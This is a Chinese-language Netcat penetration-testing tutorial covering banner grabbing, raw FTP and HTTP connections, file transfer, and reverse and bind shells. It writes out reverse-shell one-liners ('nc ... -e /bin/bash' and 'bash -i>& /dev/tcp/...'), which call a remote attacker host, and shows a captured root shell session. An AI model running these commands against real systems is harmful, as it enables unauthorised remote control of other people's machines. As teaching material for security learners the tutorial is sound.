Netcat是一個很好的網絡實用程序,用於使用TCP和UPD協議讀取和寫入網絡鏈接。Netcat一般被稱爲網絡工具中的瑞士軍刀,咱們將在使用黑客教程的不一樣教程中大量使用它。Netcat最多見的用途是設置反向和綁定shell,管道和重定向網絡流量,端口偵聽,調試程序和腳本以及Banner抓取。在本教程中,咱們將學習如何使用Netcat的基本功能,如:
Banner抓取 原始鏈接 Web服務器交互html
1.1 Netcat Banner獲取nginx
使用如下命令來獲取服務器Banner(與服務創建原始鏈接): nc [ip address] [port] 咱們來試試這個在21端口運行的Metasploitable 2上的FTP服務: nc 192.168.1.100 21 nc [ip] [port]用於與端口進行原始鏈接,當可用時將返回服務器Banner。
code: rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制連接 220 (vsFTPd 2.2.2) # 系統服務 banner
1.2 Netcat原鏈接shell
爲了演示原始鏈接的工做原理,咱們將在FTP服務鏈接到目標主機後發出一些FTP命令。 在匿名的狀況下,咱們來看看這個FTP服務器是否容許匿名訪問,經過USER和PASS命令。
code: rocky@kail: nc 23.105.202.xx 21 220 (vsFTPd 2.2.2) user ligang 331 Please specify the password.
1.3 Web服務器交互編程
Netcat還能夠經過發出HTTP請求與Web服務器進行交互。 經過如下命令,咱們能夠抓住在Metasploitable 2上運行的Web服務的Banner: nc 23.105.202.xx 80
而後運行此HTTP請求:安全
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80 HEAD / HTTP / 1.0 << 輸入 HTTP/1.1 400 Bad Request Server: nginx/1.12.0 Date: Sun, 28 May 2017 08:06:19 GMT Content-Type: text/html Content-Length: 173 Connection: close
1.4 使用Netcat進行文件傳輸bash
在這個例子中,咱們將使用Netcat鏈接傳輸一個文本文件。假設咱們在目標主機上執行遠程命令,咱們但願將文件從攻擊主機傳輸到目標主機。首先,咱們須要在目標主機上設置一個偵聽器,並從攻擊主機鏈接到它。咱們將使用端口8080用於此目的,咱們將該文件安全保存到桌面:服務器
nc -lvp 8080> 1.txt
在攻擊主機上,咱們鏈接到8080端口併發送文件名稱transfer.txt:網絡
nc 192.168.100.107 8080 < 1.txt
Netcat反向reverse shell併發
在滲透測試中,最多見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起處處於監聽狀態的攻擊機器的shell鏈接方式,又叫被動鏈接,而正向bind shell是攻擊主機經過特定的端口進行偵聽目標主機即將到來的鏈接。在惡意軟件中,bind shell又一般被稱爲後門。tcp
在下面的內容中咱們將展現使用bind shell和reverse shell。下面將使用4444端口,但請注意,這能夠是任何開放端口。實際上,一般您須要使用更常見的端口,如80和443來設置反向shell,由於這些端口是更常見的打開。
NC reverse shell 工做原理:
攻擊主機A執行: nc -lvp 4444 ; 監聽被攻擊者連接
被攻擊主機B執行: nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 將bash shell 權限提供給攻擊者 實現控制權限的轉移;
實現通訊後:
在攻擊主機A上執行命令,便可操做被攻擊者B
缺點:
此時被攻擊者B 須要使用Netcat命令, 並且普通 GNU Linux nc 並無 -e { -e filename program to exec after connect [dangerous]} 參數; 顧此種反向連接並不適用;
2.1 使用Bash 來代替Nc實現反向連接;
被攻擊主機B: bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻擊者A: nc -lvp 4444
A機代碼: [root@virtualS ~]# nc -lvp 4444 Connection from 111.15.33.114:17835 ## 此時B機執行轉移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# id id uid=0(root) gid=0(root) groups=0(root) root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 命令解釋: bash: -i if the -i option is present, the shell is interactive shell: 0/1/2 分別表明Linux標準輸入,輸出,異常 即 C編程中的 stdin, stdout, stderr 0>&1 指 將標準輸入徹底輸出到標準輸出中; 採用&能夠將 0/1 綁定在一塊兒。這條命令的做用標準輸入將和標準輸出同用一個文件描述符,說人話就是錯誤輸入將會和標準輸出輸出到同一個地方。
2.2 Netcat正向bind Shell
bind shell是一個綁定到目標主機上的特定端口以監聽即將到來的鏈接的shell。咱們來看看一個Netcat正向bind shell的原理:
攻擊主機A: rocky@mac: nc 192.168.1.9 4444 id uid=0(root) gid=0(root) groups=0(root) echo $HOSTNAME kailvirtual
相同點:
咱們都須要被攻擊者將其shell控制權限交給咱們
將shell command 以數據流的形式重定向到被攻擊主機的Bash shell中;